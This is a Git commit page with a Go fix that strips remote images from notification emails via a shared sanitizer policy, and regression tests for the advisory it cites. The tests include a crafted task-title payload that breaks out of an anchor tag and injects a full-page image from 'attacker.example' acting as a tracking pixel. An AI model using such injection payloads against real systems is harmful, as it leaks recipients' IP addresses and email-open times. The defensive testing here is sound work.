fix(notifications): strip remote images from notification emails
User-controlled fields rendered into notification emails (task title via the conversational header, comment and description bodies) were sanitized with a bluemonday UGCPolicy that permits remote <img> sources. An attacker with write access to a shared project could therefore inject an external image that acts as a tracking pixel in a subscriber's inbox, leaking email-open time and IP. Restrict notification-email images to inline data URIs (used by avatars) by adding a RewriteSrc hook that blanks any non-data image src. The policy was duplicated in three places, so extract it into newNotificationSanitizer. Refs GHSA-2vr2-r3qw-rjvq
This commit is contained in:
parent
b8894ac1c1
commit
154a96674d
|
|
@ -20,6 +20,7 @@ import (
|
||||||
"bytes"
|
"bytes"
|
||||||
"embed"
|
"embed"
|
||||||
templatehtml "html/template"
|
templatehtml "html/template"
|
||||||
|
"net/url"
|
||||||
"regexp"
|
"regexp"
|
||||||
"strings"
|
"strings"
|
||||||
templatetext "text/template"
|
templatetext "text/template"
|
||||||
|
|
@ -187,16 +188,26 @@ const mailTemplateConversationalHTML = `
|
||||||
//go:embed logo.png
|
//go:embed logo.png
|
||||||
var logo embed.FS
|
var logo embed.FS
|
||||||
|
|
||||||
func convertLinesToHTML(lines []*mailLine) (linesHTML []templatehtml.HTML, err error) {
|
// newNotificationSanitizer builds the bluemonday policy for all HTML in notification
|
||||||
|
// emails. Only inline data-URI images (avatars) are allowed: RewriteSrc blanks any
|
||||||
|
// remote image src so a user-controlled task title, comment or description can't
|
||||||
|
// smuggle a tracking pixel into a recipient's inbox.
|
||||||
|
func newNotificationSanitizer() *bluemonday.Policy {
|
||||||
p := bluemonday.UGCPolicy()
|
p := bluemonday.UGCPolicy()
|
||||||
// Allow data URI images for inline avatars in mentions
|
|
||||||
p.AllowDataURIImages()
|
p.AllowDataURIImages()
|
||||||
// Allow style attribute on img and div elements for avatar and layout styling
|
|
||||||
p.AllowAttrs("style").OnElements("img", "div")
|
p.AllowAttrs("style").OnElements("img", "div")
|
||||||
// Allow specific CSS properties for avatar styling
|
|
||||||
p.AllowStyles("border-radius", "vertical-align", "margin-right").OnElements("img")
|
p.AllowStyles("border-radius", "vertical-align", "margin-right").OnElements("img")
|
||||||
// Allow padding styles on div elements for content spacing
|
|
||||||
p.AllowStyles("padding-top", "margin-bottom").OnElements("div")
|
p.AllowStyles("padding-top", "margin-bottom").OnElements("div")
|
||||||
|
p.RewriteSrc(func(u *url.URL) {
|
||||||
|
if u.Scheme != "data" {
|
||||||
|
*u = url.URL{}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return p
|
||||||
|
}
|
||||||
|
|
||||||
|
func convertLinesToHTML(lines []*mailLine) (linesHTML []templatehtml.HTML, err error) {
|
||||||
|
p := newNotificationSanitizer()
|
||||||
|
|
||||||
for _, line := range lines {
|
for _, line := range lines {
|
||||||
if line.isHTML {
|
if line.isHTML {
|
||||||
|
|
@ -225,11 +236,7 @@ func convertLinesToHTML(lines []*mailLine) (linesHTML []templatehtml.HTML, err e
|
||||||
// sanitizeLinesToHTML sanitizes lines without wrapping in <p> tags or adding margins.
|
// sanitizeLinesToHTML sanitizes lines without wrapping in <p> tags or adding margins.
|
||||||
// Used for footer lines and other content that should not have paragraph styling.
|
// Used for footer lines and other content that should not have paragraph styling.
|
||||||
func sanitizeLinesToHTML(lines []*mailLine) (linesHTML []templatehtml.HTML, err error) {
|
func sanitizeLinesToHTML(lines []*mailLine) (linesHTML []templatehtml.HTML, err error) {
|
||||||
p := bluemonday.UGCPolicy()
|
p := newNotificationSanitizer()
|
||||||
p.AllowDataURIImages()
|
|
||||||
p.AllowAttrs("style").OnElements("img", "div")
|
|
||||||
p.AllowStyles("border-radius", "vertical-align", "margin-right").OnElements("img")
|
|
||||||
p.AllowStyles("padding-top", "margin-bottom").OnElements("div")
|
|
||||||
|
|
||||||
for _, line := range lines {
|
for _, line := range lines {
|
||||||
if line.isHTML {
|
if line.isHTML {
|
||||||
|
|
@ -366,12 +373,8 @@ func RenderMail(m *Mail, lang string) (mailOpts *mail.Opts, err error) {
|
||||||
data["CopyURLText"] = i18n.T(lang, "notifications.common.copy_url")
|
data["CopyURLText"] = i18n.T(lang, "notifications.common.copy_url")
|
||||||
|
|
||||||
if m.headerLine != nil {
|
if m.headerLine != nil {
|
||||||
p := bluemonday.UGCPolicy()
|
|
||||||
p.AllowDataURIImages()
|
|
||||||
p.AllowAttrs("style").OnElements("img", "div")
|
|
||||||
p.AllowStyles("border-radius", "vertical-align", "margin-right").OnElements("img")
|
|
||||||
// #nosec G203 -- the html is sanitized
|
// #nosec G203 -- the html is sanitized
|
||||||
data["HeaderLineHTML"] = templatehtml.HTML(p.Sanitize(m.headerLine.Text))
|
data["HeaderLineHTML"] = templatehtml.HTML(newNotificationSanitizer().Sanitize(m.headerLine.Text))
|
||||||
}
|
}
|
||||||
|
|
||||||
data["IntroLinesHTML"], err = convertLinesToHTML(m.introLines)
|
data["IntroLinesHTML"], err = convertLinesToHTML(m.introLines)
|
||||||
|
|
|
||||||
|
|
@ -711,3 +711,55 @@ func TestConversationalMail(t *testing.T) {
|
||||||
assert.Contains(t, headerLine1, "(Project > Task) #1")
|
assert.Contains(t, headerLine1, "(Project > Task) #1")
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Regression test for GHSA-2vr2-r3qw-rjvq: a user-controlled task title (or comment
|
||||||
|
// or description) must not be able to smuggle a remote image into a notification
|
||||||
|
// email, where it would act as a tracking pixel. Inline data-URI avatars and normal
|
||||||
|
// links must keep working.
|
||||||
|
func TestNotificationEmailStripsRemoteImages(t *testing.T) {
|
||||||
|
const remoteSrc = "https://attacker.example/track.png?u=victim"
|
||||||
|
|
||||||
|
t.Run("remote image injected via task title in header is stripped", func(t *testing.T) {
|
||||||
|
payloadTitle := `</a><img src="` + remoteSrc + `" style="position:absolute;width:100%;height:100%"><a>normal title`
|
||||||
|
header := CreateConversationalHeader("", "attacker left a comment", "https://example.com/task/1", "Project", "#1", payloadTitle)
|
||||||
|
|
||||||
|
mailOpts, err := RenderMail(NewMail().
|
||||||
|
Conversational().
|
||||||
|
Subject("Test").
|
||||||
|
HeaderLine(header).
|
||||||
|
Action("View Task", "https://example.com/task/1"), "en")
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
assert.NotContains(t, mailOpts.HTMLMessage, remoteSrc)
|
||||||
|
assert.NotContains(t, mailOpts.HTMLMessage, "attacker.example")
|
||||||
|
// The benign text is still delivered, and the legitimate task link survives.
|
||||||
|
assert.Contains(t, mailOpts.HTMLMessage, "normal title")
|
||||||
|
assert.Contains(t, mailOpts.HTMLMessage, `href="https://example.com/task/1"`)
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("remote image in body content is stripped", func(t *testing.T) {
|
||||||
|
mailOpts, err := RenderMail(NewMail().
|
||||||
|
Conversational().
|
||||||
|
Subject("Test").
|
||||||
|
HTML(`<p>hi</p><img src="`+remoteSrc+`">`).
|
||||||
|
Action("View Task", "https://example.com/task/1"), "en")
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
assert.NotContains(t, mailOpts.HTMLMessage, remoteSrc)
|
||||||
|
assert.Contains(t, mailOpts.HTMLMessage, "hi")
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("inline data-URI avatar is preserved", func(t *testing.T) {
|
||||||
|
const avatar = "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
|
||||||
|
header := CreateConversationalHeader(avatar, "alice left a comment", "https://example.com/task/1", "Project", "#1", "Task")
|
||||||
|
|
||||||
|
mailOpts, err := RenderMail(NewMail().
|
||||||
|
Conversational().
|
||||||
|
Subject("Test").
|
||||||
|
HeaderLine(header).
|
||||||
|
Action("View Task", "https://example.com/task/1"), "en")
|
||||||
|
require.NoError(t, err)
|
||||||
|
|
||||||
|
assert.Contains(t, mailOpts.HTMLMessage, "data:image/png;base64,")
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue